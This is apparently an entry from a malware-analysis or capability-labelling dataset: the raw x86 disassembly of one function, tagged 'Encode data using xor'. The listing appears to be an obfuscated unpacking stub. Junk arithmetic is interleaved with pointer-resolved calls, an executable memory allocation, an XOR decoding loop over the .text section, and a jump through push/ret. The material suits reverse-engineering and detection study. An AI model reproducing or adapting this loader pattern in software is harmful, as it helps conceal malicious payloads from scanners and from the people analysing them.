Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x70e15a59
and edx, esi
sub esi, edx
popal
inc esi
sub edx, 0xe079c9a2
mov edx, 0
mov edi, esi
sub eax, 0xc43fefc4
add eax, 0x6a472e08
mov eax, 0xb8c9dd9c
mov ebx, edi
sub eax, 0x32d4ae2d
sub ecx, 0x9e01b91b
dec ecx
mov esi, ebx
sub eax, ecx
sub eax, 1
add eax, 1
inc edx
add eax, ecx
not eax
cmp edx, 0x1001650
jne 0xa789c3
add ecx, ecx
dec ecx
dec ecx
add esi, edx
mov esi, edx
mov edx, 0xa78796
mov ebx, eax
not ecx
add ecx, 0xeb254cac
mov edi, 0xa7898a
inc ebx
mov eax, ebx
mov esi, dword [edx]
sub eax, 0x7861c7af
or ecx, ecx
and esi, 0xff
dec ecx
mov eax, ecx
xor dword [edi], esi
sub ecx, 1
add eax, ecx
sub eax, ebx
inc edi
add ecx, 0x1dcb15da
dec eax
inc edx
mov ebx, 0x2bb79524
add eax, ecx
and ecx, eax
cmp edi, entry0
jl 0xa78a25
not ecx
or ebx, ebx
dec ecx
or eax, eax
add esi, esi
mov ecx, 0x7af764d8
and esi, ecx
mov ebx, 0xa7898e
add edx, esi
dec ecx
or esi, esi
mov ebx, dword [ebx]
inc edx
mov edi, esi
mov ebx, dword [ebx]
add edi, 0xa623c6d9
or esi, esi
or edx, esi
sub esp, 4
mov dword [esp], ebx
add ecx, edi
or edi, ecx
mov ebx, 0xa7898a
dec ecx
inc esi
mov ebx, dword [ebx]
mov edi, edx
inc ecx
mov ebx, dword [ebx]
sub esi, edx
dec edi
sub esp, 4
mov dword [esp], 0xa78992
add edx, 0x88afbb66
sub esi, 0xf84ea355
call ebx
sub esi, 0x18c902dc
sub ecx, 0x20d1534e
sub edi, 0x34bcc2a2
mov ebx, dword [esp]
add esp, 4
inc edx
add edi, 0xc1eeddc0
not ecx
sub esp, 4
mov dword [esp], 0xa7899f
and edx, edi
dec edi
mov edi, 0x6a11c5a8
push eax
add ecx, 0xb1e12439
mov edx, 0x326cebea
and edx, ecx
call ebx
and ecx, edx
dec edx
and edx, edi
push 0x40
sub edx, 0x9b7eb6e1
mov edx, 0x9deddcd7
or ecx, edi
sub esp, 4
mov dword [esp], 0x3000
sub edx, 0xe084ce7a
inc ecx
sub esp, 4
mov dword [esp], 0x200004c2
or ecx, edx
mov edi, edx
sub ecx, esi
push 0
or ecx, esi
mov ecx, 0xd2e4fc44
call eax
or ecx, edi
sub edi, 0xf964d64b
add eax, 0x20000436
add ecx, edi
sub edi, esi
add esi, edx
mov ebx, 0x98f0c551
or edi, esi
add edi, 0x3f6ed33e
mov dword [eax], ebx
or esi, esi
sub ecx, 0xda63d915
or esi, esi
mov ebx, dword [eax]
and esi, esi
mov edi, 0xd0cd89de
mov esi, 0x322f5c53
cmp ebx, 0x98f0c551
je 0xa78b93
mov edx, 0
mov dword [edx], ecx
sub edi, esi
dec ecx
sub edi, edx
sub edi, 1
sub esi, 0xa1b759ed
mov esi, 0x9b2c3517
sub edx, esi
mov eax, section..text
and edx, edx
add esi, esi
mov edi, 0xa78795
sub edx, 0x8d0be536
add edx, edx
mov ebx, 0
mov edx, 0xac217946
sub esi, edx
mov ecx, 0xa78796
sub esi, 0x5faa9201
not esi
or esi, esi
lea ecx, [ebx + ecx]
or esi, esi
and edx, esi
sub esi, 0xfe650502
mov ecx, dword [ecx]
or esi, esi
not edx
and ecx, 0xff
or esi, edx
mov edx, 0xbb355ae8
inc ebx
dec edx
sub esi, 0xbe42cdd
cmp ebx, 0x1f4
jne 0xa78c11
mov ebx, 0
add esi, 0xb63de547
add edx, 0x134987eb
not edx
not edx
sub esi, 1
xor dword [eax], ecx
mov edx, 0xd552522e
mov edx, esi
not esi
add eax, 2
sub edx, 1
and esi, esi
mov edx, esi
cmp eax, edi
jl 0xa78bcd
and edx, edx
inc esi
sub edx, 0x5168d62a
sub edx, esi
mov eax, section..text
sub edx, 1
dec edi
mov ebx, section..text
or edx, edi
dec edi
or edx, edx
mov esi, 0xa78795
mov edx, edi
mov edx, 0x4b8c8aef
sub edi, edx
mov ecx, 0
sub edi, edx
add edx, 1
add edi, 1
mov cl, byte [ebx]
add edx, 0x435e2a09
add edx, 0x3fd668cf
mov edi, 0xc2648eac
mov byte [eax], cl
sub edi, edx
add edi, 0xf9a1614a
inc eax
not edi
or edi, edx
mov edx, edi
add ebx, 2
mov edi, edx
and edx, edx
cmp ebx, esi
jle 0xa78c8c
add edi, edi
dec edx
add edx, edi
sub esi, edx
mov esi, edx
sub edx, 0x7161247c
push 0x8dc6a0
inc esi
not edx
ret